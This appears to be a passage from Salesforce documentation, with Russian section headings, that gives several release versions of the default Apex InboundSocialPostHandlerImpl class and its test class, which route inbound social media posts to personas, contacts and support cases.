if (post.ReplyTo != null && !isReplyingToAnotherCustomer(post, persona) &&

!isChat(post)) {
parentCase = findParentCaseFromPostReply(post);

}
if (parentCase == null) {

parentCase = findParentCaseFromPersona(post, persona);
}
return parentCase;

}

private boolean isReplyingToAnotherCustomer(SocialPost post, SocialPersona persona){
return !post.ReplyTo.IsOutbound && post.ReplyTo.PersonaId != persona.Id;
}

private boolean isChat(SocialPost post){
return post.messageType == 'Private' || post.messageType == 'Direct';
}

private Case findParentCaseFromPostReply(SocialPost post) {
if (post.ReplyTo != null && String.isNotBlank(post.ReplyTo.ParentId)) {

List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
Id = :post.ReplyTo.ParentId LIMIT 1];

if(!cases.isEmpty()) {
return cases[0];

}
}
return null;

}

private Case findParentCaseFromPersona(SocialPost post, SocialPersona persona) {
SocialPost lastestInboundPostWithSamePersonaAndRecipient =
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findLatestInboundPostBasedOnPersonaAndRecipient(post, persona);
if (lastestInboundPostWithSamePersonaAndRecipient != null) {

List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
id = :lastestInboundPostWithSamePersonaAndRecipient.parentId LIMIT 1];

if(!cases.isEmpty()) {
return cases[0];

}
}
return null;

}

private void reopenCase(Case parentCase) {
SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND

IsDefault = true];
parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null) return;

performR6PostIdCheck(post);

if (post.Id == null){
performExternalPostIdCheck(post);

}
}

private void performR6PostIdCheck(SocialPost post){
if(post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId =

:post.R6PostId LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private void performExternalPostIdCheck(SocialPost post) {
if (post.provider == 'Facebook' && post.messageType == 'Private') return;
if (post.provider == null || post.externalPostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE ExternalPostId =

:post.ExternalPostId AND Provider = :post.provider LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private SocialPost findReplyTo(SocialPost post, SocialPersona persona) {
if(post.replyToId != null && post.replyTo == null)

return findReplyToBasedOnReplyToId(post);
if(post.responseContextExternalId != null){
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if((post.provider == 'Facebook' && post.messageType == 'Private') ||
(post.provider == 'Twitter' && post.messageType == 'Direct')){

SocialPost replyTo =
findReplyToBasedOnResponseContextExternalPostIdAndProvider(post);

if(replyTo.id != null)
return replyTo;

}
return findReplyToBasedOnExternalPostIdAndProvider(post);

}
return new SocialPost();

}

private SocialPost findReplyToBasedOnReplyToId(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE id = :post.replyToId LIMIT 1];
if(posts.isEmpty())

return new SocialPost();
return posts[0];

}

private SocialPost findReplyToBasedOnExternalPostIdAndProvider(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE Provider = :post.provider AND ExternalPostId = :post.responseContextExternalId LIMIT
1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findReplyToBasedOnResponseContextExternalPostIdAndProvider(SocialPost
post){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE Provider = :post.provider AND responseContextExternalId =
:post.responseContextExternalId ORDER BY posted DESC NULLS LAST LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findLatestInboundPostBasedOnPersonaAndRecipient(SocialPost post,
SocialPersona persona) {

if (persona != null && String.isNotBlank(persona.Id) && post != null &&
String.isNotBlank(post.Recipient)) {

List<SocialPost> posts = [SELECT Id, ParentId FROM SocialPost WHERE Provider
= :post.provider AND Recipient = :post.Recipient AND PersonaId = :persona.id AND IsOutbound
= false ORDER BY CreatedDate DESC LIMIT 1];

if (!posts.isEmpty()) {
return posts[0];

}
}
return null;

}

private void matchPersona(SocialPersona persona) {
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if (persona != null) {
List<SocialPersona> personaList = new List<SocialPersona>();
if(persona.Provider != 'Other' && String.isNotBlank(persona.ExternalId)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
Provider = :persona.Provider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.ExternalId)
&& String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.Name) &&
String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
Name = :persona.Name LIMIT 1];

}

if (!personaList.isEmpty()) {
persona.Id = personaList[0].Id;
persona.ParentId = personaList[0].ParentId;

}
}

}

private void createPersona(SocialPersona persona) {
if (persona == null || String.isNotBlank(persona.Id) ||

!isThereEnoughInformationToCreatePersona(persona))
return;

SObject parent = createPersonaParent(persona);
persona.ParentId = parent.Id;
insert persona;

}

private boolean isThereEnoughInformationToCreatePersona(SocialPersona persona) {
return String.isNotBlank(persona.Name) &&

String.isNotBlank(persona.Provider) &&
String.isNotBlank(persona.MediaProvider);

}

private boolean shouldCreateCase(SocialPost post, Map<String, Object> rawData){
return !hasSkipCreateCaseIndicator(rawData) || hasPostTagsThatCreateCase(post);

}

private boolean hasSkipCreateCaseIndicator(Map<String, Object> rawData) {
Object skipCreateCase = rawData.get('skipCreateCase');
return skipCreateCase != null &&

'true'.equalsIgnoreCase(String.valueOf(skipCreateCase));
}

private boolean hasPostTagsThatCreateCase(SocialPost post){
Set<String> postTags = getPostTags(post);
postTags.retainAll(getPostTagsThatCreateCase());
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return !postTags.isEmpty();
}

private Set<String> getPostTags(SocialPost post){
Set<String> postTags = new Set<String>();
if(post.postTags != null)

postTags.addAll(post.postTags.split(',', 0));
return postTags;

}

global String getPersonaFirstName(SocialPersona persona) {
String name = getPersonaName(persona);
String firstName = '';
if (name.contains(' ')) {

firstName = name.substringBeforeLast(' ');
}
firstName = firstName.abbreviate(40);
return firstName;

}

global String getPersonaLastName(SocialPersona persona) {
String name = getPersonaName(persona);
String lastName = name;
if (name.contains(' ')) {

lastName = name.substringAfterLast(' ');
}
lastName = lastName.abbreviate(80);
return lastName;

}

private String getPersonaName(SocialPersona persona) {
String name = persona.Name.trim();
if (String.isNotBlank(persona.RealName)) {

name = persona.RealName.trim();
}
return name;

}

global virtual SObject createPersonaParent(SocialPersona persona) {

String firstName = getPersonaFirstName(persona);
String lastName = getPersonaLastName(persona);

Contact contact = new Contact(LastName = lastName, FirstName = firstName);
String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null)

contact.AccountId = defaultAccountId;
insert contact;
return contact;

}

}
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Тестирование

@isTest
public class InboundSocialPostHandlerImplTest {

static Map<String, Object> sampleSocialData;
static Social.InboundSocialPostHandlerImpl handler;

static {
handler = new Social.InboundSocialPostHandlerImpl();

sampleSocialData = getSampleSocialData('1');
}

static testMethod void verifyNewRecordCreation() {
SocialPost post = getSocialPost(sampleSocialData);
SocialPersona persona = getSocialPersona(sampleSocialData);

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost];

SocialPersona createdPersona = [SELECT Id, ParentId FROM SocialPersona];
Contact createdContact = [SELECT Id FROM Contact];
Case createdCase = [SELECT Id, ContactId FROM Case];

System.assertEquals(createdPost.PersonaId, createdPersona.Id, 'Post is not linked
to the Persona.');

System.assertEquals(createdPost.WhoId, createdPersona.ParentId, 'Post is not linked
to the Contact');

System.assertEquals(createdPost.ParentId, createdCase.Id, 'Post is not linked to
the Case.');

System.assertEquals(createdCase.ContactId, createdContact.Id, 'Contact is not
linked to the Case.');

}

static testMethod void matchSocialPostRecord() {
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.R6PostId = existingPost.R6PostId;
SocialPersona persona = getSocialPersona(sampleSocialData);

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

System.assertEquals(1, [SELECT Id FROM SocialPost].size(), 'There should be only
1 post');

}

static testMethod void matchSocialPersonaRecord() {
Contact existingContact = new Contact(LastName = 'LastName');
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insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;

SocialPost post = getSocialPost(sampleSocialData);
SocialPersona persona = getSocialPersona(sampleSocialData);
persona.ExternalId = existingPersona.ExternalId;

test.startTest();
handler.handleInboundSocialPost(post, persona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost];

SocialPersona createdPersona = [SELECT Id, ParentId FROM SocialPersona];
Contact createdContact = [SELECT Id FROM Contact];
Case createdCase = [SELECT Id, ContactId FROM Case];

System.assertEquals(createdPost.PersonaId, createdPersona.Id, 'Post is not linked
to the Persona.');

System.assertEquals(createdPost.WhoId, createdPersona.ParentId, 'Post is not linked
to the Contact');

System.assertEquals(createdPost.ParentId, createdCase.Id, 'Post is not linked to
the Case.');

System.assertEquals(createdCase.ContactId, createdContact.Id, 'Contact is not
linked to the Case.');

}

static testMethod void matchCaseRecord() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;
Case existingCase = new Case(ContactId = existingContact.Id, Subject = 'Test Case');

insert existingCase;
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
existingPost.ParentId = existingCase.Id;
existingPost.WhoId = existingContact.Id;
existingPost.PersonaId = existingPersona.Id;
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.responseContextExternalId = existingPost.ExternalPostId;

test.startTest();
handler.handleInboundSocialPost(post, existingPersona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost
WHERE R6PostId = :post.R6PostId];

System.assertEquals(existingPersona.Id, createdPost.PersonaId, 'Post is not linked
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to the Persona.');
System.assertEquals(existingContact.Id, createdPost.WhoId, 'Post is not linked to

the Contact');
System.assertEquals(existingCase.Id, createdPost.ParentId, 'Post is not linked to

the Case.');
System.assertEquals(1, [SELECT Id FROM Case].size(), 'There should only be 1

Case.');
}

static testMethod void reopenClosedCase() {
Contact existingContact = new Contact(LastName = 'LastName');
insert existingContact;
SocialPersona existingPersona = getSocialPersona(getSampleSocialData('2'));
existingPersona.ParentId = existingContact.Id;
insert existingPersona;
Case existingCase = new Case(ContactId = existingContact.Id, Subject = 'Test Case',

Status = 'Closed');
insert existingCase;
SocialPost existingPost = getSocialPost(getSampleSocialData('2'));
existingPost.ParentId = existingCase.Id;
existingPost.WhoId = existingContact.Id;
existingPost.PersonaId = existingPersona.Id;
insert existingPost;

SocialPost post = getSocialPost(sampleSocialData);
post.responseContextExternalId = existingPost.ExternalPostId;

test.startTest();
handler.handleInboundSocialPost(post, existingPersona, sampleSocialData);
test.stopTest();

SocialPost createdPost = [SELECT Id, PersonaId, ParentId, WhoId FROM SocialPost
WHERE R6PostId = :post.R6PostId];

System.assertEquals(existingPersona.Id, createdPost.PersonaId, 'Post is not linked
to the Persona.');

System.assertEquals(existingContact.Id, createdPost.WhoId, 'Post is not linked to
the Contact');

System.assertEquals(existingCase.Id, createdPost.ParentId, 'Post is not linked to
the Case.');

System.assertEquals(1, [SELECT Id FROM Case].size(), 'There should only be 1
Case.');

System.assertEquals(false, [SELECT Id, IsClosed FROM Case WHERE Id =
:existingCase.Id].IsClosed, 'Case should be open.');

}

static SocialPost getSocialPost(Map<String, Object> socialData) {
SocialPost post = new SocialPost();
post.Name = String.valueOf(socialData.get('source'));
post.Content = String.valueOf(socialData.get('content'));
post.Posted = Date.valueOf(String.valueOf(socialData.get('postDate')));
post.PostUrl = String.valueOf(socialData.get('postUrl'));
post.Provider = String.valueOf(socialData.get('mediaProvider'));
post.MessageType = String.valueOf(socialData.get('messageType'));
post.ExternalPostId = String.valueOf(socialData.get('externalPostId'));
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post.R6PostId = String.valueOf(socialData.get('r6PostId'));
return post;

}

static SocialPersona getSocialPersona(Map<String, Object> socialData) {
SocialPersona persona = new SocialPersona();
persona.Name = String.valueOf(socialData.get('author'));
persona.RealName = String.valueOf(socialData.get('realName'));
persona.Provider = String.valueOf(socialData.get('mediaProvider'));
persona.MediaProvider = String.valueOf(socialData.get('mediaProvider'));
persona.ExternalId = String.valueOf(socialData.get('externalUserId'));
return persona;

}

static Map<String, Object> getSampleSocialData(String suffix) {
Map<String, Object> socialData = new Map<String, Object>();
socialData.put('r6PostId', 'R6PostId' + suffix);
socialData.put('r6SourceId', 'R6SourceId' + suffix);
socialData.put('postTags', null);
socialData.put('externalPostId', 'ExternalPostId' + suffix);
socialData.put('content', 'Content' + suffix);
socialData.put('postDate', '2015-01-12T12:12:12Z');
socialData.put('mediaType', 'Twitter');
socialData.put('author', 'Author');
socialData.put('skipCreateCase', false);
socialData.put('mediaProvider', 'TWITTER');
socialData.put('externalUserId', 'ExternalUserId');
socialData.put('postUrl', 'PostUrl' + suffix);
socialData.put('messageType', 'Tweet');
socialData.put('source', 'Source' + suffix);
socialData.put('replyToExternalPostId', null);
socialData.put('realName', 'Real Name');
return socialData;

}
}

Стандартный класс Apex для выпусков Spring ‘15 и Summer ‘15

global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

final static Integer CONTENT_MAX_LENGTH = 32000;

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

global virtual String getDefaultAccountId() {
return null;

}

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
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SocialPersona persona, Map<String, Object> rawData) {
Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if ((post.Content != null) && (post.Content.length() > CONTENT_MAX_LENGTH)) {
post.Content = post.Content.abbreviate(CONTENT_MAX_LENGTH);

}

if (post.Id != null) {
handleExistingPost(post, persona);
return result;

}

setReplyTo(post, persona);
buildPersona(persona);
Case parentCase = buildParentCase(post, persona, rawData);
setRelationshipsOnPost(post, persona, parentCase);

upsert post;

return result;
}

private void handleExistingPost(SocialPost post, SocialPersona persona) {
update post;
if (persona.id != null)

updatePersona(persona);
}

private void setReplyTo(SocialPost post, SocialPersona persona) {
SocialPost replyTo = findReplyTo(post, persona);
if(replyTo.id != null) {

post.replyToId = replyTo.id;
post.replyTo = replyTo;

}
}

private SocialPersona buildPersona(SocialPersona persona) {
if (persona.Id == null)

createPersona(persona);
else

updatePersona(persona);
return persona;

}

private void updatePersona(SocialPersona persona) {
try {
update persona;
}catch(Exception e) {
System.debug('Error updating social persona: ' + e.getMessage());
}
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}

private Case buildParentCase(SocialPost post, SocialPersona persona,
Map<String, Object> rawData){

Case parentCase = findParentCase(post, persona);
if (caseShouldBeReopened(parentCase))

reopenCase(parentCase);
else if(! hasSkipCreateCaseIndicator(rawData) && (parentCase.id == null ||

parentCase.isClosed))
parentCase = createCase(post, persona);

return parentCase;
}

private boolean caseShouldBeReopened(Case c){
return c.id != null && c.isClosed && System.now() <

c.closedDate.addDays(getMaxNumberOfDaysClosedToReopenCase());
}

private void setRelationshipsOnPost(SocialPost postToUpdate, SocialPersona persona,
Case parentCase) {

if (persona.Id != null)
postToUpdate.PersonaId = persona.Id;

if(parentCase.id != null)
postToUpdate.ParentId = parentCase.Id;

}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(subject = post.Name);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType)
newCase.ContactId = persona.ParentId;

}
if (post != null && post.Provider != null) {

newCase.Origin = post.Provider;
}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona) {
Case parentCase = new Case();
if (post.ReplyTo != null && (post.ReplyTo.IsOutbound || post.ReplyTo.PersonaId ==

persona.Id))
parentCase = findParentCaseFromPostReply(post);

else if((post.messageType == 'Direct' || post.messageType == 'Private') &&
String.isNotBlank(post.Recipient))

parentCase = findParentCaseFromRecipient(post, persona);
return parentCase;

}

private Case findParentCaseFromPostReply(SocialPost post){
List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE Id =

:post.ReplyTo.ParentId LIMIT 1];
if(!cases.isEmpty())
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return cases[0];
return new Case();

}

private Case findParentCaseFromRecipient(SocialPost post, SocialPersona persona){
List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE id =

:findReplyToBasedOnRecipientsLastPostToSender(post, persona).parentId LIMIT 1];
if(!cases.isEmpty())

return cases[0];
return new Case();

}

private void reopenCase(Case parentCase) {
SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND

IsDefault = true];
parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null) return;

performR6PostIdCheck(post);

if (post.Id == null){
performExternalPostIdCheck(post);
}
}

private void performR6PostIdCheck(SocialPost post){
if(post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId = :post.R6PostId

LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private void performExternalPostIdCheck(SocialPost post) {
if (post.provider == 'Facebook' && post.messageType == 'Private') return;
if (post.provider == null || post.externalPostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE ExternalPostId =

:post.ExternalPostId AND Provider = :post.provider LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private SocialPost findReplyTo(SocialPost post, SocialPersona persona) {
if(post.replyToId != null && post.replyTo == null)

return findReplyToBasedOnReplyToId(post);
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if(post.responseContextExternalId != null)
return findReplyToBasedOnExternalPostIdAndProvider(post,

post.responseContextExternalId);
return new SocialPost();

}

private SocialPost findReplyToBasedOnReplyToId(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE id = :post.replyToId LIMIT 1];
if(posts.isEmpty())

return new SocialPost();
return posts[0];

}

private SocialPost findReplyToBasedOnExternalPostIdAndProvider(SocialPost post, String
externalPostId){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE Provider = :post.provider AND ExternalPostId = :externalPostId LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findReplyToBasedOnRecipientsLastPostToSender(SocialPost post,
SocialPersona persona){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE provider = :post.provider AND OutboundSocialAccount.ProviderUserId = :post.Recipient
AND ReplyTo.Persona.id = :persona.id ORDER BY CreatedDate DESC LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private void matchPersona(SocialPersona persona) {
if (persona != null) {

List<SocialPersona> personaList = new List<SocialPersona>();
if(persona.Provider != 'Other' && String.isNotBlank(persona.ExternalId)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
Provider = :persona.Provider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.ExternalId)
&& String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
ExternalId = :persona.ExternalId LIMIT 1];

} else if(persona.Provider == 'Other' && String.isNotBlank(persona.Name) &&
String.isNotBlank(persona.MediaProvider)) {

personaList = [SELECT Id, ParentId FROM SocialPersona WHERE
MediaProvider = :persona.MediaProvider AND
Name = :persona.Name LIMIT 1];

}

if (!personaList.isEmpty()) {
persona.Id = personaList[0].Id;
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persona.ParentId = personaList[0].ParentId;
}

}
}

private void createPersona(SocialPersona persona) {
if (persona == null || String.isNotBlank(persona.Id) ||

!isThereEnoughInformationToCreatePersona(persona))
return;

SObject parent = createPersonaParent(persona);
persona.ParentId = parent.Id;
insert persona;

}

private boolean isThereEnoughInformationToCreatePersona(SocialPersona persona) {
return String.isNotBlank(persona.Name) &&

String.isNotBlank(persona.Provider) &&
String.isNotBlank(persona.MediaProvider);

}

private boolean hasSkipCreateCaseIndicator(Map<String, Object> rawData) {
Object skipCreateCase = rawData.get('skipCreateCase');
return skipCreateCase != null &&

'true'.equalsIgnoreCase(String.valueOf(skipCreateCase));
}

global virtual SObject createPersonaParent(SocialPersona persona) {
String name = persona.Name.trim();
if (String.isNotBlank(persona.RealName))

name = persona.RealName.trim();

String firstName = '';
String lastName = name;
if (name.contains(' ')) {

firstName = name.substringBeforeLast(' ');
lastName = name.substringAfterLast(' ');

}

firstName = firstName.abbreviate(40);
lastName = lastName.abbreviate(80);

Contact contact = new Contact(LastName = lastName, FirstName = firstName);
String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null)

contact.AccountId = defaultAccountId;
insert contact;
return contact;

}

}
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Стандартный класс Apex для выпусков Summer ‘14 и Winter ‘14

global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

global virtual String getDefaultAccountId() {
return null;

}

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if (post.Id != null) {
handleExistingPost(post, persona);
return result;

}

setReplyTo(post, persona, rawData);
buildPersona(persona);
Case parentCase = buildParentCase(post, persona, rawData);
setRelationshipsOnPost(post, persona, parentCase);
upsert post;

return result;
}

private void handleExistingPost(SocialPost post, SocialPersona persona) {
update post;
if (persona.id != null)

update persona;
}

private void setReplyTo(SocialPost post, SocialPersona persona, Map<String, Object>
rawData) {

SocialPost replyTo = findReplyTo(post, persona, rawData);
if(replyTo.id != null) {

post.replyToId = replyTo.id;
post.replyTo = replyTo;

}
}

private SocialPersona buildPersona(SocialPersona persona) {
if (persona.Id == null)

createPersona(persona);
else

update persona;
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return persona;
}

private Case buildParentCase(SocialPost post, SocialPersona persona, Map<String, Object>
rawData){

Case parentCase = findParentCase(post, persona);
if (caseShouldBeReopened(parentCase))

reopenCase(parentCase);
else if(! hasSkipCreateCaseIndicator(rawData) && (parentCase.id == null ||

parentCase.isClosed))
parentCase = createCase(post, persona);

return parentCase;
}

private boolean caseShouldBeReopened(Case c){
return c.id != null && c.isClosed && System.now() <

c.closedDate.addDays(getMaxNumberOfDaysClosedToReopenCase());
}

private void setRelationshipsOnPost(SocialPost postToUpdate, SocialPersona persona,
Case parentCase) {

if (persona.Id != null)
postToUpdate.PersonaId = persona.Id;

if(parentCase.id != null)
postToUpdate.ParentId = parentCase.Id;

}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(subject = post.Name);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType)
newCase.ContactId = persona.ParentId;

}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona) {
Case parentCase = new Case();
if (post.ReplyTo != null && (post.ReplyTo.IsOutbound || post.ReplyTo.PersonaId ==

persona.Id))
parentCase = findParentCaseFromPostReply(post);

else if((post.messageType == 'Direct' || post.messageType == 'Private') &&
post.Recipient != null && String.isNotBlank(post.Recipient))

parentCase = findParentCaseFromRecipient(post, persona);
return parentCase;

}

private Case findParentCaseFromPostReply(SocialPost post){
List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE Id =

:post.ReplyTo.ParentId LIMIT 1];
if(!cases.isEmpty())

return cases[0];
return new Case();
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}

private Case findParentCaseFromRecipient(SocialPost post, SocialPersona persona){
List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE id =

:findReplyToBasedOnRecipientsLastPostToSender(post, persona).parentId LIMIT 1];
if(!cases.isEmpty())

return cases[0];
return new Case();

}

private void reopenCase(Case parentCase) {
SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND

IsDefault = true];
parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null || post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId =

:post.R6PostId LIMIT 1];
if (!postList.isEmpty())

post.Id = postList[0].Id;
}

private SocialPost findReplyTo(SocialPost post, SocialPersona persona, Map<String,
Object> rawData) {

if(post.replyToId != null && post.replyTo == null)
return findReplyToBasedOnReplyToId(post);

if(rawData.get('replyToExternalPostId') != null &&
String.isNotBlank(String.valueOf(rawData.get('replyToExternalPostId'))))

return findReplyToBasedOnExternalPostIdAndProvider(post,
String.valueOf(rawData.get('replyToExternalPostId')));

return new SocialPost();
}

private SocialPost findReplyToBasedOnReplyToId(SocialPost post){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE id = :post.replyToId LIMIT 1];
if(posts.isEmpty())

return new SocialPost();
return posts[0];

}

private SocialPost findReplyToBasedOnExternalPostIdAndProvider(SocialPost post, String
externalPostId){

List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost
WHERE Provider = :post.provider AND ExternalPostId = :externalPostId LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private SocialPost findReplyToBasedOnRecipientsLastPostToSender(SocialPost post,
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SocialPersona persona){
List<SocialPost> posts = [SELECT Id, ParentId, IsOutbound, PersonaId FROM SocialPost

WHERE provider = :post.provider AND OutboundSocialAccount.ProviderUserId = :post.Recipient
AND ReplyTo.Persona.id = :persona.id ORDER BY CreatedDate DESC LIMIT 1];

if(posts.isEmpty())
return new SocialPost();

return posts[0];
}

private void matchPersona(SocialPersona persona) {
if (persona != null && persona.ExternalId != null &&

String.isNotBlank(persona.ExternalId)) {
List<SocialPersona> personaList = [SELECT Id, ParentId FROM SocialPersona WHERE

Provider = :persona.Provider AND
ExternalId = :persona.ExternalId LIMIT 1];

if ( !personaList.isEmpty()) {
persona.Id = personaList[0].Id;
persona.ParentId = personaList[0].ParentId;

}
}

}

private void createPersona(SocialPersona persona) {
if (persona == null || (persona.Id != null && String.isNotBlank(persona.Id)) ||

!isThereEnoughInformationToCreatePersona(persona))
return;

SObject parent = createPersonaParent(persona);
persona.ParentId = parent.Id;
insert persona;

}

private boolean isThereEnoughInformationToCreatePersona(SocialPersona persona){
return persona.ExternalId != null && String.isNotBlank(persona.ExternalId) &&

persona.Name != null && String.isNotBlank(persona.Name) &&
persona.Provider != null && String.isNotBlank(persona.Provider) &&
persona.provider != 'Other';

}

private boolean hasSkipCreateCaseIndicator(Map<String, Object> rawData) {
Object skipCreateCase = rawData.get('skipCreateCase');
return skipCreateCase != null &&

'true'.equalsIgnoreCase(String.valueOf(skipCreateCase));
}

global virtual SObject createPersonaParent(SocialPersona persona) {
String name = persona.Name;
if (persona.RealName != null && String.isNotBlank(persona.RealName))

name = persona.RealName;

String firstName = '';
String lastName = 'unknown';
if (name != null && String.isNotBlank(name)) {
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firstName = name.substringBeforeLast(' ');
lastName = name.substringAfterLast(' ');
if (lastName == null || String.isBlank(lastName))

lastName = firstName;
}

Contact contact = new Contact(LastName = lastName, FirstName = firstName);
String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null)

contact.AccountId = defaultAccountId;
insert contact;
return contact;

}
}

Стандартный класс Apex для выпусков Winter ‘13 и Spring ‘14

global virtual class InboundSocialPostHandlerImpl implements Social.InboundSocialPostHandler
{

// Reopen case if it has not been closed for more than this number
global virtual Integer getMaxNumberOfDaysClosedToReopenCase() {

return 5;
}

global virtual Boolean usePersonAccount() {
return false;

}

global virtual String getDefaultAccountId() {
return null;

}

global Social.InboundSocialPostResult handleInboundSocialPost(SocialPost post,
SocialPersona persona, Map<String, Object> rawData) {

Social.InboundSocialPostResult result = new Social.InboundSocialPostResult();
result.setSuccess(true);
matchPost(post);
matchPersona(persona);

if (post.Id != null) {
update post;
if (persona.id != null) {

update persona;
}
return result;

}

findReplyTo(post, rawData);

Case parentCase = null;
if (persona.Id == null) {

createPersona(persona);
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post.PersonaId = persona.Id;
}
else {

update persona;
post.PersonaId = persona.Id;
parentCase = findParentCase(post, persona, rawData);

}

if (parentCase == null) {
parentCase = createCase(post, persona);

}

post.ParentId = parentCase.Id;

insert post;

return result;
}

private Case createCase(SocialPost post, SocialPersona persona) {
Case newCase = new Case(

subject = post.Name
);
if (persona != null && persona.ParentId != null) {

if (persona.ParentId.getSObjectType() == Contact.sObjectType) {
newCase.ContactId = persona.ParentId;

}
else if (persona.ParentId.getSObjectType() == Account.sObjectType) {

newCase.AccountId = persona.ParentId;
}

}
insert newCase;
return newCase;

}

private Case findParentCase(SocialPost post, SocialPersona persona, Map<String, Object>
rawData) {

SocialPost replyToPost = null;
if (post.ReplyTo != null && (post.ReplyTo.IsOutbound || post.ReplyTo.PersonaId ==

persona.Id)) {
replyToPost = post.ReplyTo;

}
else if (post.MessageType == 'Direct' && String.isNotBlank(post.Recipient)) {

// find the latest outbound post that the DM is responding to
List<SocialPost> posts = [SELECT Id, ParentId FROM SocialPost WHERE

